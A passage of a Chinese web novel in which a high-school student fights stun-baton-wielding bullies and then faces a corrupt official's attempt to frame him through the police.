王雨犹豫了半天,才低声道:“不是我不愿说,是我姐特意交代过不让外传”“咱偷偷说,天知地知你知我知。”张霆琛拍了拍他肩膀。
王雨瞟了眼王涛,明显不信任。张霆琛秒懂,对着王涛屁股就是一脚:“滚远点!”王涛骂骂咧咧地走了,他心里门清,这时候不该掺和。王雨看着他的背影,偷偷松了口气,这才压低声音开口:“我爸是广市的小官,但我妈走得早。后来他娶了现在的阿姨,靠着她家里才爬上去的。可那阿姨对我们姐弟俩不好,还老逼着我姐跟她娘家侄子订娃娃亲……”
“那个王凯就是”张霆琛瞬间明白了。王雨点点头,声音更低了:“总的来说,家里事儿特复杂。王凯那种人,我们根本惹不起,你们揍了他,我姐在阿姨面前更难做人了。”
“靠!”张霆琛忍不住爆了句粗口,“你爸就不管管?眼睁睁看着你姐受委屈?”“家家有本难念的经啊。”王雨叹了口气,“我爸能有今天,全靠阿姨家帮忙。换位思考,没这层关系,我们日子也不会这么安稳”
“对不起,我不该瞎问。”张霆琛心里不是滋味。“没事,咱们是朋友,早晚会知道的。”王雨笑了笑。张霆琛没再说啥,只是重重拍了拍他的肩膀。这一刻,他忽然觉得,这看似简单的校园风波背后,藏着太多不为人知的沉重。**的是,这对姐弟日后会成为他生命里的重要羁绊,甚至改写他的人生轨迹,当然,这都是后话了。
一下午相安无事。放学铃刚响,张霆琛就接到了梁颖的电话,约好一起吃饭。他伸了个懒腰,对李辰浩说:“我先走了,你先回吧。”李辰浩皱着眉:“昨天刚打完架,你今天别乱跑,万一王凯他们报复咋办?”
“能有啥事?真来了,我一个打他们二十个!”张霆琛拍着胸脯吹牛。“吹吧你!”李辰浩戳穿他,“你多久没练了?还二十个?能撂倒十个就不错了,还得是下死手。学生打架哪能真要命?你咋保证每次都能精准制敌?”
张霆琛被问得哑口无言,又嘴硬道:“没事!最多挨顿打,怕啥?”“不行!你这人一冲动就收不住,真打急了再出人命咋办?”李辰浩不放心。见张霆琛有点不耐烦,李辰浩只好退一步:“那有事第一时间给我打电话,别硬扛。”张霆琛赶紧应着,拍了他一把就往外冲。
王雨凑过来问:“琛哥这是去哪啊?这么急?”“见媳妇去呗!”王涛又来插科打诨,“像你这种单身汉不懂~”王雨的脸又憋成了茄子色,惹得众人一阵哄笑。
没一会儿,大家走到校门口,眼前的景象让所有人都炸了,张霆琛被一群人围在中间,鼻青脸肿的,领头的正是王凯!李辰浩二话不说,带着人就冲了上去。
“小心!他们带了电棒!”张霆琛大喊。众人愣了一下,脚步没停。彭志龙留在后面赶紧打电话叫人。很快,陈永他们从学校里冲出来,人数总算持平。李辰浩和邓志辉身手好,能躲开电棒,其他人就没那么幸运了,彭志龙第一个被电得翻白眼倒地。
“草!”张霆琛红了眼,疯了似的朝王凯扑去。王凯带来的两个**混从侧面偷袭,电棒“啪”地戳在张霆琛背上,可他愣是没倒下!就在这僵持的关头,周喜铭带着一大帮高二学生冲了出来,瞬间形成压倒性优势。
两边很快分开对峙。张霆琛脱了上衣,露出线条分明的肌肉,指着王凯和那两个混混:“你们三个,出来!”没人动。他又吼道:“我他妈叫你们出来单挑!”
王凯色厉内荏地大吼:“干他!”自己先冲了上来。在他看来,张霆琛已是**之末。可他错了,张霆琛一拳砸在他肚子上,紧接着抬脚猛踹下巴,王凯像个破麻袋似的飞了出去,摔在地上。周围女生发出一阵惊呼。
张霆琛没理会,盯着那两个**混:“我说了,单挑。”两人对视一眼,轻蔑地笑了:“就凭你?”“就凭我!”张霆琛眼神冰冷,透着一股慑人的霸气。这眼神让俩混混莫名一哆嗦,索性一起扑了上来。张霆琛往后一撤,重心下沉,一个扫堂腿放倒一
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人,紧接着回旋踢正中另一人太阳穴。俩混混两招就被撂倒,围观的人全看傻了。
可张霆琛没停。他一个箭步上前,膝盖狠狠磕在倒地混混的肚子上,那人倒地就睡了,另一人见状大喊“张承!”,举着电棒就朝张霆琛戳来。张霆琛冷笑一声,侧身扣住他手腕,用力一推,左手勾拳正中他面门,接着一脚踹在他肚子上。那人躺在地上哼哼,下巴都被打脱臼了。
王凯一看不妙,转身就跑。李辰浩早等着呢,一个箭步抓住他,胳膊勒住他脖子:“再动就拧断你脖子!”王凯吓得不敢动弹。张霆琛走到彭志龙身边,急问:“咋样?没事吧?”彭志龙缓过劲,苦笑道:“又让你们担心了……”
张霆琛心里一酸,拍了拍他的肩膀,转身捡起地上的电棒,走到王凯面前。王凯吓得魂飞魄散:“别别别!我错了!饶了我吧!”
“出来混,迟早要还的。”张霆琛眼神冰冷,“你玩阴的,就得受着!”说完按住电棒,狠狠戳在王凯腰上。被电棒击中的人不会大喊大叫,只会翻白眼晕过去,除非像张霆琛这样身体素质超强的。王凯直挺挺地倒了下去。
张霆琛对着剩下的人吼道:“滚!以后再敢来**,后果自负!”王凯带来的人屁滚尿流地跑了,连带着被抬走的王凯和两个混混。张霆琛走在前面,其他人默默跟着。突然,他腿一软,直挺挺地倒了下去。
“小琛!”李辰浩第一个冲上去扶住他,急得大喊,“你咋样?哪受伤了?”张霆琛脸色苍白,虚弱地笑了笑:“你被电棒戳三四下试试……”说完就晕了过去。
再次醒来时,已是第二天早上。张霆琛一睁眼,先看到的竟是谢诗韵,顿时懵了:“我咋在这?这是哪儿?“医院!”李辰浩没好气地骂,“让你别逞能,偏不听!这下舒坦了?”
谢诗韵接过话头:“昨天你晕过去,他们把你送医院,你手机响了,李辰浩一看是我打的就接了。本小姐可是守了你一夜!”
“额,谢谢你啊。”张霆琛有点尴尬。“咋?这就跟我见外了?”谢诗韵挑眉。张霆琛突然想起梁颖,赶紧摸手机。李辰浩说:“别找了,昨天我跟她说你有急事没带手机,醒了自己跟她解释吧。”
他这才松了口气,又问:“小曦知道没?”
第一百一十章:王语嫣的妈
“陈曦刚走,我让她回去上课了。”李辰浩说。张霆琛点点头:“哦。”谢诗韵突然哼了一声:“我说你就没点表示?张霆琛你这没良心的,本小姐守了你一夜呢!”
“啊,这……”张霆琛结巴起来,不知道该说啥。李辰浩赶紧打圆场:“他刚醒,脑子还懵着呢,让他缓缓。”“行吧,”谢诗韵站起身,故意板着脸,“看你醒了我就回去上课了,真是瞎操心!”说完转身就走,耳根却悄悄红了。
张霆琛一脸茫然地看向李辰浩,对方耸耸肩:“别问我,女生心思猜不透。”他没再多想,转而问,“昨天后来怎么样了?”“能咋样,把你送医院呗。”李辰浩撇嘴,“学校那边没动静,估计还不知道。不过那王凯肯定没那么容易罢休。”
“兵来将挡水来土掩。”张霆琛倒是淡定。“周喜铭说等你醒了要请吃饭,谢罪似的。”李辰浩憋着笑。“为啥啊?”“你说为啥?”李辰浩敲了敲他的脑袋,“被电傻了?人家是想跟你交个底。”
张霆琛恍然大悟,傻笑道:“哦!我知道了。正好借这机会聊聊,看看能不能把关系处得更铁点。”“早该这样了。”李辰浩点头,“咱们想完全撇清江湖事根本不可能,不如把朋友圈扩大,让别人不敢随便欺负咱们。”
“你以为谁都像你想的那么简单?万一人家看不上咱们呢?”张霆琛挑眉。“就凭咱们以前的名声,求着跟咱们混的人多了去了!”李辰浩不服气。“行行行你厉害,”张霆琛笑着转移话题,“彭志龙咋样了?”
“没事,比你轻多了,回家养着了。”李辰浩白了他一眼,“就你逞能,拿电棒硬扛。”“那不是急了嘛。”张霆琛摸了摸鼻子。
俩人斗着嘴到了中午,张霆琛实在受不了医院的药味,嚷嚷着要走。李辰浩拗不过他,只好妥协:“先说好,不舒服马上说,别硬撑。”
“知道啦,咱这身体是铁打的!”张霆琛说着就从床上蹦起来,穿好衣服拽着李辰浩往外冲。刚到医院门口,就被一个穿护士服的小姑娘拦住了。
“你们去哪?”小护士叉着腰,一脸不乐意。李辰浩本来就对陌生人没耐心,直接回怼:“你管得着吗?”“我是他的责任护士!”小护士指着张霆琛,“医生说你还不能乱跑!不打招呼就走,这是违反规定的!”
张霆琛赶紧推开李辰浩,赔笑道:“护士姐姐,我真没事了,你看我这精神头。”“你说没事不算数!医生说了算!赶紧回去躺着!”小护士不依不饶。
李辰浩忍不住了:“你这人怎么这么啰嗦?我们说没事就没事!”说着就要拉张霆琛走。小护士却死死拽着张霆琛的胳膊:“你不能走!出了问题算谁的?”其实这小护士就是性子急,心眼不坏,句句都在为病人着想。张霆琛没生气,耐心解释:“我昨天就是脱力了,现在真缓过来了,你放我走吧。”
“不行!”这时一个中年女医生走过来,拉住小护士,对张霆琛道歉,“不好意思,这孩子被惯坏了,说话冲,你们别介意。你身体真没事了?”
“真没事了,谢谢医生。”张霆琛客气道。女医生笑了笑:“那行,你们自己注意着点。对了,记得办出院手续,押金还没退呢,不办手续走可是要吃亏的。”
这话让张霆琛对她好感倍增,赶紧点头:“好的好的,我们这就去办!”出了医院,李辰浩才嘟囔:“你干嘛对那小护士那么客气?”张霆琛坏笑:“你觉那小丫头长得怎么样?”
“你问这干嘛?”李辰浩警惕地后退一步,“你想干嘛?”“还记得你答应过让我给你找大嫂不?”张霆琛挤眉弄眼。“靠!你不会是想……不行!坚决不行!”李辰浩头摇得像拨浪鼓。“君子一言驷马难追!你答应了就得认!”张霆琛步步紧逼。“那是你耍赖赢的!不算数!”
俩人吵吵闹闹地回了学校,坐在校门口等放学。没多久,邓志辉他们就跟着周喜铭一行人出来了。周喜铭看见张霆琛,眼睛一亮,冲过来竖起大拇指,啥也没说,但意思全在眼神里了。
“走,吃饭去,我请客!”周喜铭拍着张霆琛的肩膀,往学校旁边的饭馆走。一进包间坐下,周喜铭就端着酒杯站起来,对着张霆琛说:“琛哥,你可不仗义啊!”张霆琛懵了:“咋了?”
“兄弟们早就听说过你的事迹,把你当偶像,结果你倒好,啥也不说,还一口一个铭哥叫着,是不是看不起我们?”周喜铭越说越激动。邓志辉赶紧打圆场:“铭哥你误会了,我们就是想低调点,以前惹事太多,怕了。”
周喜铭却盯着张霆琛,认真地问:“琛哥,你就说句实话,是不是看不起我们?”张霆琛被问得哭笑不得:“怎么会?你帮过我们,我们感激还来不及,哪敢看不
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起你。”
“你还叫我铭哥?”周喜铭把两瓶啤酒墩在桌上,一瓶推给张霆琛,“这瓶酒吹了,以后我们跟你混!”他身后的兄弟也齐刷刷站起来,举着酒杯等回应。张霆琛二话不说,拿起酒瓶“咕咚咕咚”十几秒就吹完了。周喜铭刚要举杯,却被张霆琛拦住。他以为张霆琛不答应,脸一下子沉了。张霆琛却笑道:“一起玩可以,但别说谁跟谁混,那样就生分了,咱们得是兄弟。”
这话让周喜铭眼睛一热,重重拍了拍他的肩膀:“好!兄弟!”酒过三巡,大家正准备散场,包间门“砰”地被推开,王嫣然红着眼圈闯进来,指着周喜铭就骂:“周喜铭你有病啊!干嘛把王凯打成那样?”
周喜铭喝了点酒,脾气也上来了:“你才有病!不是他找事我会动他?你看看我兄弟身上的伤!都是你那好亲戚弄的!你再胡搅蛮缠就赶紧滚!”话一出口他就后悔了,他跟王嫣然是从小一起长大的发小,知道她家的难处,平时都让着她。可王嫣然哪受过这委屈,“哇”地一声哭出来,转身就往外跑。
她刚跑出去,王雨就气喘吁吁地冲进来,正好跟她擦肩而过。“累死我了,还得追……”王雨扶着门喘气,抬头才发现满屋子人都瞪着他,吓得一哆嗦,赶紧解释,“不是我要说的!我姐逼我的,我不说她就……”
没等他说完,张霆琛突然追了出去。其他人刚想跟,就被王涛拦住:“你们跟着干嘛?没看见二哥要发展第二春吗?都回去!”结果话音刚落,就**志辉和李辰浩一人一个脑瓢打得嗷嗷叫,敢怒不敢言。
再说张霆琛追出门,看见王嫣然正往反方向跑,叹了口气,加快脚步追上去。眼看要追上,旁边突然飞驰过来一辆奔驰,张霆琛暗道不好,三步并作两步冲上去,一把将王嫣然往后拽。奔驰车几乎是擦着她的衣角开过去,吓出她一身冷汗。
惊魂未定的王嫣然正好撞进张霆琛怀里,俩人一时都没动。张霆琛闻着她头发上的清香,竟有点走神,想把这瞬间定格。可没等他多想,那辆奔驰居然倒了回来,后车窗摇下,露出一张化着浓妆的中年女人的脸,看着就让人不舒服。
“你们他妈瞎了眼?不会看路吗?撞**谁赔得起?”女人张口就骂。张霆琛刚想回怼,就听王嫣然怯生生地喊了一声:“妈……”张霆琛瞬间石化在原地。
第一百一十一章:颠倒黑白
这一声“妈”让张霆琛瞬间僵在原地。换作寻常家长,见女儿差点被车撞,少说也得先拉到身边仔细打量,可这位母亲却像没看见女儿泛红的眼眶似的,涂着亮粉色指甲油的手指夹着鳄鱼皮手包,浑身透着股刻意拿捏的风骚劲儿,看得张霆琛胃里一阵翻涌。王嫣然把头埋得更低,手指紧张地绞着校服衣角,她妈反倒更来劲了,尖着嗓子戳她额头:“哟,我当是谁呢,不上课跑这儿野什么?成天不学好,就知道跟野小子瞎晃悠!”
王嫣然被骂得肩膀直抖,半句不敢还嘴。张霆琛实在忍不了,往前一步护在她身前:“你怎么这么说孩子?那是你女儿!有当妈的这么糟践自家孩子的吗?”王嫣然赶紧拽他的胳膊,红着眼圈对她妈鞠躬:“妈,他不是故意的,您别生气……”
“哟呵,这就找着小白脸撑腰了?”女人冷笑一声,上下打量张霆琛像看什么脏东西,“小浪蹄子能耐了啊,学会跟野男人合伙气我了?”这话刚落,开车的司机从奔驰上跳下来,攥着拳头冲到张霆琛面前:“小兔崽子你刚才说什么?敢跟我老板这么说话?”
张霆琛本就厌恶这种仗势欺人的嘴脸,见对方挥着拳头上来,想也没想就一拳挥了过去。那司机没防备,被打得踉跄着撞在车身上,一声闷响震得车窗都在颤。女人尖叫着跳脚,王嫣然也吓得捂住嘴,张霆琛却指着她妈冷冷道:“别给脸不要脸!这是你家事我懒得管,但你不配当妈!”
他转身要走,那司机哪肯罢休?在这么多路人围观下丢了脸,他红着眼就从背后扑上来。张霆琛早有防备,嘴角勾起一抹冷笑,身子猛地向前一倾,借着对方扑过来的力道顺势一掀,那司机被结结实实地摔在柏油路上,半天爬不起来。周围顿时炸开了锅:“就这三脚猫功夫还敢出来咬人?”“跟半大孩子动手,要不要脸啊!”
女人的脸一阵青一阵白,终于尖声喊住还想爬起来的司机:“阿成!还嫌不够丢人?给我滚回来!”阿成恶狠狠地瞪了张霆琛一眼,拍着身上的灰悻悻地站到她身后。女人踩着十厘米高跟鞋走到张霆琛面前,唾沫星子喷了他一脸:“小子你给我等着!我先去学校处理事,回头再扒了你的皮!”说完扭着水蛇腰上了车,奔驰车一下窜出去,差点蹭到路边的梧桐树。
等人都走光了,张霆琛才挠挠头对王嫣然说:“不好意思啊,是不是给你惹麻烦了?”王嫣然叹了口气,眼圈红红的:“没事,早晚都得这样。对了,昨天到底怎么回事?你跟王凯…”
“就他带人偷袭我们,被我们揍了一顿呗。”张霆琛说得轻描淡写。“这还叫没事?”王嫣然急得跺脚,“你知道他爸是谁吗?**忠!区里的干部,还是**!他们家最会仗势欺人了,我昨天拦着你们就是怕这个!”
“不就是个区干部吗?”张霆琛皱起眉,“他儿子带着电棒来学校**,难道还能颠倒黑白?”“他们家哪是颠倒黑白啊,是根本不讲理!”王嫣然急得快哭了,“跟他们家沾上边没好下场的,你们赶紧回学校吧,估计他们已经去闹了。”
张霆琛嘴上说着“兵来将挡水来土掩”,心里却暗暗发沉,他不是怕事,是不想总麻烦邓天啸,邓志辉家已经帮了不少忙,总这么麻烦人家实在过意不去。
刚到学校门口,就被一群人围了上来。邓志辉拽着他胳膊说:“靠!王凯他爸妈找来了,在办公室拍桌子呢,老师让昨天在场的都过去!”张霆琛想了想说:“你们都去上课,我一个人去就行。”
“不行!”李辰浩第一个反对,“要去一起去,哪能让你一个人扛?”“就是!有福同享有难同当!”王涛、土狗他们也跟着嚷嚷。张霆琛又感动又无奈,板起脸训道:“瞎凑什么热闹?那么多人去像话吗?对方是区干部,我一个人去应付就行。”
邓志辉突然脸色一变:“你说的是不是**忠?咱们打的真是他儿子?”“听王嫣然说是的”“完了!”邓志辉一拍大腿,“那可是**忠啊!他家势力大得很,儿子被打成那样,肯定不会善罢甘休!我陪你去,有个照应。”李辰浩点头:“我看行,志辉你跟他去。”
俩人刚走进办公室,就听见一阵尖利的女声。张霆琛抬头一看,那个浓妆艳抹的女人正翘着二郎腿坐在办公桌上,旁边站着被他揍过的司机,还有一对穿着讲究的中年夫妇——不用问也知道是王凯的父母。那女人见了张霆琛,立刻冷哼一声:“我就知道是你这野小子,一看就不是好东西!”
班主任刘老师敲了敲讲台:“都安静!先说正事,昨天到底怎么回事?”“昨天放学我遇到**的,学校同学一起把人打跑了。”张霆琛面不改色地说。刘老师点点头,转向王凯父母:“你们的孩子跑到我们学校门口干什么?”
王凯的妈妈立刻抹起了眼泪:“我儿子就是来找发小玩的,结果被你学生不分青红皂白就揍了一顿,现在还在医院躺着呢!”“哦?这就各说各有理了?”刘老师又问张霆琛,“你
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再说说细节。”
“老师,我们同学彭志龙被他们用电棒电伤了,现在还在家养伤呢!”张霆琛提高了音量。“什么?”刘老师一惊,“彭志龙不是说感冒请假了吗?怎么会被电伤?”“他怕您担心,没敢说实话。”
刘老师的脸色沉了下来,盯着王凯父母问:“您的孩子来找发小,带着电棒?”那夫妇俩明显慌了一下,王凯的爸爸强装镇定地说:“那是我儿子身边保镖带的!要不是遇到危险,怎么会拿出来?肯定是你学生先动手惹事!”
“请你说话注意分寸!”刘老师猛地一拍桌子,声音陡然拔高,“我承认我的学生可能有错,但你不能这么污蔑他们!来学校是解决问题的,不是来撒野的!”
“一个小班主任还敢嚣张?”旁边的阿成插嘴道,“我老板一句话就能让你失业,识相点就乖乖处理!”刘老师毫不示弱,拿起桌上的电话:“我现在就打110,让警察来公正处理!”
王凯的妈妈却得意地笑了:“打吧,我们早就报警了!本来想先跟你这护犊子的老师谈谈,看来是白费功夫了!”“你!”刘老师气得脸都红了。
张霆琛按住她的手:“刘老师别跟他们置气,等警察来就行,那么多同学都看见了,他们家再有势力也不能睁眼说瞎话。”“哼,事实怎么样警察说了算!”王凯的爸爸突然接了个电话,挂了之后嚣张地大笑,“警察来了!咱们走着瞧!”
“小人得志!”邓志辉忍不住骂了一句。“小崽子你说什么?”王凯爸爸瞪了过来。“我说你小人得志!”邓志辉毫不退让地回瞪。
“你知道我是谁吗?我是……”“**忠,区干部兼**,谁不知道啊?”邓志辉直接打断他。**忠正诧异他怎么这么清楚底细,办公室门被推开了。几个警察走了进来,带头的那个戴着金丝眼镜,看着挺斯文,一进门却径直走到**忠面前,热情地握手:“王**好,让您久等了。”
“警察同志辛苦了,我儿子的事调查得怎么样了?”**忠挺着肚子,一副官老爷的样子。那警察推了推眼镜,语气笃定地说:“调查清楚了,您儿子是自卫,对方属于蓄意伤害。具体情况我们会进一步调查。”
“草!你说什么?”邓志辉忍不住爆了粗口,“你们怎么调查的?明明是他带人来学校**!”
带头的警察立刻翻脸,指着邓志辉的鼻子骂道:“你算什么东西?也配指责执法人员?再敢辱骂,就以妨碍执**处!”
第一百一十二章:局长的态度
“哎哎哎!警察先生,孩子不懂事,您多担待。”邓志辉一口叫出王志忠的名字,让他心里顿时咯噔一下,这小子怕是有点背景,没必要硬碰硬。
其实王志忠敢这么嚣张地来学校,是因为昨晚早就查过张霆琛的底细,见对方家里没什么来头,才敢放心扣“蓄意伤人”的帽子。至于邓志辉,卖个顺水人情总没错。可邓志辉根本不领情,梗着脖子骂:“怎么着?不服气?就是你们局长来了,也得讲点道理!”
“小屁孩还敢嘴硬?”小眼镜警官被怼得下不来台,指着邓志辉就要上手,“我看昨天的事就是你挑的头!跟我回局子里说清楚!”这一下可把班主任刘老师吓坏了,赶紧冲上去拦:“不行!你们没证据凭什么带人?”
“我们有证人!有他伤人的证据,这是依法办事!”警官梗着脖子喊。“证人?我怎么不知道你们找过学校的人核实?”邓志辉冷笑,“怕不是自己编的吧?”“找证人用得着你同意?”警官脸都红了,“今天你必须跟我走!”
“走个屁!真给你脸了!”一声怒喝从门口传来,王涛哐当一声推开办公室门,指着屋里的人骂道:“要找证人是吧?老子身后全是!随便抓一个问问,昨天到底是谁带人的!我就不信你们能把白的说成黑的!”
话音刚落,他身后涌进来黑压压一片学生。其实也就二十来个人,但楼道本就狭窄,这么一挤顿时显得人山人海。周喜铭跟着站出来,抱臂道:“想带人?没门!要带就把我们全带走,我们都是证人,昨天的事看得清清楚楚!”
“你们这帮小兔崽子要反是不是?”小眼镜警官被这阵仗唬住了,色厉内荏地吼道。“哎呦!执法人员吓唬人啦!我们好怕啊!”“就是就是,吓得腿都软了~”学生们立刻跟着起哄,你一言我一语地嘲讽,把警官堵得哑口无言。他求助似的看向王志忠,可对方压根没理他,扭头望着窗外装没事人。警官心里暗骂“老王八蛋”,嘴上却半个字不敢多说。
正僵持着,警官的手机突然响了。他一看是局长的号码,顿时像抓住了救命稻草,赶紧接起:“局长!您可算打电话了!这帮学生拦着不让办案,简直无法无天!”
“办你妈个头!”电话那头的怒吼差点震破他的耳膜,“你长脑子没?谁让你接这个案子的?谁让你私自带人去学校的?赶紧给我滚回来!”
小眼镜瞬间慌了神,周围的学生却听得一清二楚,忍不住偷笑起来。他咬着牙应道:“知道了局长”“等等,别挂!”局长的声音突然放缓,“把昨天打架那学生也带上,好好跟人家说,别吓着孩子,听见没?”小眼镜愣了一下,只能硬着头皮答应:“知道了。”
挂了电话,他脸上青一阵白一阵,心里把局长和王志忠的祖宗骂了个遍,却不得不换上谄媚的嘴脸对张霆琛和邓志辉说:“这回有局长给你们撑腰,不用怕了,跟我去趟局子,一会儿就能出来。”
“哎呦,怎么不牛了?我还以为你多大权力呢!”王涛在一旁故意挖苦。“你!”小眼镜气得发抖。张霆琛怕他狗急跳墙,赶紧打圆场:“行,我们跟你走。”小眼镜生怕再生事端,连忙点头。刘老师站起身:“我也跟着去,我得对学生负责。”“一起吧!”
一行人上了警车,路上张霆琛问邓志辉:“你爸知道这事吗?”“不知道,也没必要说。待会儿见了局长,我说话管用,用不着我爸。”“还是别麻烦叔叔了,总麻烦他我过意不去。”
“擦!你这就见外了!”邓志辉捶了他一下,“咱们是兄弟,我爸不就是你爸?别寒了兄弟心!”“行行行,说不过你。”俩人聊得正欢,小眼镜在前面听得火冒三丈,当警察这么多年,从没见过在警车上这么开心的“嫌疑人”。他忍不住呵斥:“你们小点声!嘀咕什么呢!严肃点!”
“你管得着吗?小四眼!”邓志辉一点不怵他。小眼镜哪受过这气,刚想发作,又想起局长的吩咐,只能硬生生憋回去,心里却暗忖:等副局长定了罪,看我怎么收拾你们!
刘老师在一旁关切地问:“张霆琛,你上午请假是不是受伤了?”“没事,就被电棒电了五六下。”张霆琛轻描淡写地说。“吹什么牛!电五六下还能站着?现在的孩子就知道吹牛!”小眼镜终于找到机会挖苦。
邓志辉立刻回怼:“有你事吗?不服气咱俩拿电棒互相招呼,看老子能不能挺过去!小四眼!”“你!”“你妹!”“这孩子太没大没小了!”小眼镜转向刘老师,“你就是这么教学生的?上梁不正下梁歪!”
刘老师被问得语塞,张霆琛却慢悠悠地说:“你一个执法人员废话那么多?有多远滚多远,别一会儿怎么受罪都不知道,老实点吧。”“谁受罪还不一定呢!走着瞧!”小眼镜愤愤道。
张霆琛突然坏笑:“刚才这话我录下来了,正好告你威胁未成年人,导致我们心灵受创。”邓志辉在一旁哈哈大笑:“栽了吧?叫你闭嘴偏不听!”“你们!不跟你们一般见识!”小眼镜见斗不过俩小孩,只能作罢。刘老师用胳膊轻轻碰了碰张霆琛,小声说:“还真有你的。”
这话说得张霆琛心里麻酥酥的。刘老师其实很年轻,班上男生都猜她的年龄,总觉得她像刚成年的大姑娘,可十八岁哪能教书?她的年龄也就成了个谜。没多久到了警察局,他们被带进审讯室。小眼镜说:“你们等会儿,局长亲自来处理。”刘老师一脸茫然,不明白小案子怎么惊动了局长,张霆琛和邓志辉也一头雾水。
没过一会儿,一个中年人走进来,邓志辉立刻叫道:“卢叔叔好!”中年人点头示意,转头对王志忠笑道:“王书记好啊,今天怎么有空过来?”
王志忠叹着气装可怜:“还不是我家儿子不争气,走在路上都被人揍,连还手都不会,真是家门不幸。你说我这当党委书记的,脸往哪搁啊!”这话明着是诉苦,实则暗示局长给面子。可局长压根不接茬,正色道:“您说得对,但咱们当官的得以人民利益为重,得以身作则,不能知法犯法!所以这事得重新查,必须以身作则嘛。”说白了就是不给面子,还句句在理。
他接着说:“昨天的笔录我看了,完全是一面之词,当事人都不在就定罪,太草率了!这事必须严肃处理。王书记,昨天是谁帮你办的案子?我亲自去找他,简直不把您这个清正廉洁的好官放在眼里!”
王志忠的脸瞬间气绿了,却不好发作,只能硬着头皮应道:“那就重查!我就不信卢局长会让我儿子含冤。”
“那是自然,我老卢眼里不揉沙子。”局长转向身边的年轻警官,“小龚,这事你来审,不管是谁违法乱纪,都给我严肃处理,听见没有?”
第一百一十三章:审讯
一旁的龚警官立刻正色答道:“知道了,局长放心!”“恩,好好办。”卢局长说完转身离开审讯室。龚警官随即对两名警员吩咐:“带王书记去第二审讯室,另外派人去他儿子住院的医院问话。”
“不行!”王志忠立刻跳起来反对,“我儿子身体还没好,有什么问题问我就行!”龚警官不卑不亢地坚持:“这是例行公事,还请书记配合。”接着又补充道,“把昨天带非法武器的那两个年轻人也从医院带过来,养了一天,应该能说话了。”
“是!”两名警员齐声应道。其中一人走到王志忠面前做了个“请”的手势,王志忠见对方一点面子不给,只能硬着头皮干笑两声,悻悻地跟着走了。邓志辉这时凑过来问:“龚叔叔,我们是不是也得分开审啊?”
龚警官瞥了他一眼,突然笑骂:“小兔崽子!就知道在外头惹事,就不能给你爸省点心?”邓志辉嬉皮笑脸地答:“嘿嘿,这不是麻烦找上门嘛,挡都挡不住。”
“扯淡!人家骂你两句你不还嘴,能打起来?人家打你两下你忍着,能闹大?还麻烦挡不住!”龚警官戳了戳他的脑袋。
“靠!人家都骑头上了还不还手,那……”“那就不是我邓天啸的儿子了!”话没说完,门外就传来一声洪亮的嗓音。进来的正是邓志辉的父亲邓天啸。一旁的刘老师看得一头雾水,张霆琛却赶紧站起来恭敬地叫道:“邓叔叔好!”
邓天啸点点头,眼神里带着赞许,随即板起脸对张霆琛说:“做事还是这么冲动,下手没轻没重,真出了人命怎么办?”“爸!”邓志辉想替他说话,却被父亲一眼瞪回去,“你闭嘴!回家等着挨揍!”
龚警官在一旁故意板着脸:“这位同志,这里是办案区,你在这儿影响我们办公,没事请出去。”换作平时邓天啸早炸了,这回却笑着怼回去:“龚大队长不办案,在这儿训孩子,就不算不务正业?”
“滚你的,没个正经!”龚警官笑骂着摆摆手,随即正色道,“说正事,副局长那边…”他压低声音,“收王志忠贿赂做假证的证据已经到手了,虽然事不大,但能借这事儿顺藤摸瓜,好好查查这俩老狐狸。”
邓天啸点头:“行,我让手底下人盯着。对了,这是张霆琛,你认识认识。”张霆琛赶紧叫道:“龚叔叔好!”
龚警官全名龚明俊,是邓天啸的拜把子兄弟,公安局刑侦大队队长,上下打量他两眼:“你就是张霆琛?不错,看着瘦,昨天怎么把那几个小子撂倒的?有时间跟我练练?”
“您别取笑我了龚叔叔。”张霆琛有点不好意思。“不骄不躁,挺好。”龚明俊转向刘老师,“您是他们的班主任?”
刘老师还没从这反转的剧情里回过神,结结巴巴地答:“是,是的。”
“您可以先回去,”龚明俊瞬间切换回严肃模式,“我们不会冤枉学生,但若真犯了法,谁也护不住。请您放心,会给他们公正处理。”刘老师犹豫了一下,张霆琛上前说:“老师您先回吧,我们没事,出来了给您打电话。”她这才点点头,嘱咐几句后离开了。
没多久,两名警察走进来:“无关人员请回避。”邓天啸没生气,笑着拍了拍邓志辉的肩膀,带着他出去了。审讯正式开始。警察板着脸问:“名字?”“张霆琛。”
“性别?”张霆琛心里翻了个白眼,故意拖长音:“跟你爹一个性别。”警察瞬间黑了脸:“老实点!配合调查才能早点出去!”张霆琛最吃软不吃硬,索性翘着二郎腿:“你这是威胁我?我可录音了。”
这场拉锯战持续了三个多小时。警察威逼利诱用尽招数,张霆琛却咬死了一套说辞:之前是见义勇为,这次是在校门口被王凯带人持械偷袭,对方下手狠辣没人性。最后俩警察垂头丧气地出去了,他们答应了副局长要问出猛料,结果反倒被个高中生耍得团团转。
出了审讯室,邓志辉早在门口等着:“咋样?没受委屈吧?”“问性别问了八遍,有病吧?”张霆琛翻了个白眼,“叔叔他们呢?”“去办正事了,让咱们先回学校。”
路上,张霆琛忍不住问:“是不是邓叔叔和龚警官想借这事儿搞点动作?”“你猜对了。”邓志辉压低声音,“王志忠仗着是书记一直想把副局长推上去,挤掉现在的正局。我爸的生意跟正局、龚叔叔他们绑在一块儿,他们倒了,我们家生意也得遭殃。而且听说港市那边的帮派渗透进广市了,副局长跟他们走得近,这次抓着他受贿的把柄,正好顺藤摸瓜查查。”
“这么复杂”张霆琛咋舌,“咱们先去看彭志龙吧?”俩人买了一堆水果零食,打车直奔彭志龙家。他家在顶楼六楼,刚爬到五楼,就听见上面传来说话声。张霆琛示意邓志辉停下,屏住呼吸听着。
一个男人的声音响起:“拿了我们的钱,就得办好事。”一个女人刚要开口,被另一个男人打断:“放心,就是劝劝那小子,他再倔也得听爹妈话。”“五万块不是白花的,办不成事,后果你们清楚。”“明白明白!我们会去警察局‘如实’反映情况的。”
“别自己跑过去,等我们的人来找你们,不然就露馅了。”“对对对!我们在家等着!”脚步声往楼下走,张霆琛赶紧拉着邓志辉往楼下躲。直到那俩人离开小区,他们才探出头。
“刚才说话的像彭志龙爸妈。”邓志辉皱眉。张霆琛脸色凝重:“上去问问就知道了。这事不对劲。”俩人对视一眼,快步往楼上走去。
“当当当!”开门的是彭志龙的母亲。她对张霆琛和邓志辉谈不上多待见,总觉得这俩野小子会带坏自己儿子,但若论对彭志龙的情谊,又挑不出错处,只好堆着笑脸招呼:“是你们俩啊,快进来!”
“阿姨打扰了,我们来看看彭志龙。”话音刚落,屋里就传来彭志龙的吼声:“妈!是不是他们?让他们滚!这事没得商量!”张霆琛和邓志辉都愣了,这哪跟哪啊?
